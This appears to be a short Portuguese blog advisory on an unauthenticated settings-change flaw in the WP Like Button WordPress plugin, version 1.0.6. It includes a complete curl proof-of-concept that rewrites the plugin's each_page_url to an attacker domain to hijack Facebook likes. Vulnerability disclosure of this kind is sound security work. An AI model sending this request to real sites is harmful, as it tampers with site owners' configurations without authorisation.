Bypass na Autenticação do Wordpress Plugin Like Button

Bypass na Autenticação do WordPress Plugin Like Button

O plugin WP Like Button permite que você adicione os botões do Facebook, como curtir, compartilhar e adicionar.

A versão 1.0.6 do WP Like Button está vulnerável, permitindo que um usuário não autenticado consiga atualizar com êxito as configurações do plug-in.

Por exemplo, o comando curl abaixo permite que um invasor altere o parâmetro each_page_url para https://hijack.com, isso permite que o atacante sequestre likes do Facebook:

curl -k -i --raw -X POST -d
"page=facebook-like-button&site_url=https%%3A%%2F%%2Flocalhost%%2Fwp&display[]=1&display[]=2&display[]=4&display[]=16&mobile=1&fb_app_id=&fb_app_admin=&kd=0&fblb_default_upload_image=&code_snippet=%%3C%%3Fphp+echo+fb_like_button()%%3B+%%3F%%3E&beforeafter=before&eachpage=url&each_page_url=
https://hijack.com&language=en_US&width=65&position=center&layout=box_count&action=like&color=light&btn_size=small&faces=1&share=1&update_fblb="
"https://localhost/wp/wp-admin/admin.php?page=facebook-like-button&edit=1"
-H "Content-Type: application/x-www-form-urlencoded"

Espero que tenha gostado, qualquer dúvida estou a disposição.

Obrigado!

3 comentários em “Bypass na Autenticação do WordPress Plugin Like Button”

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *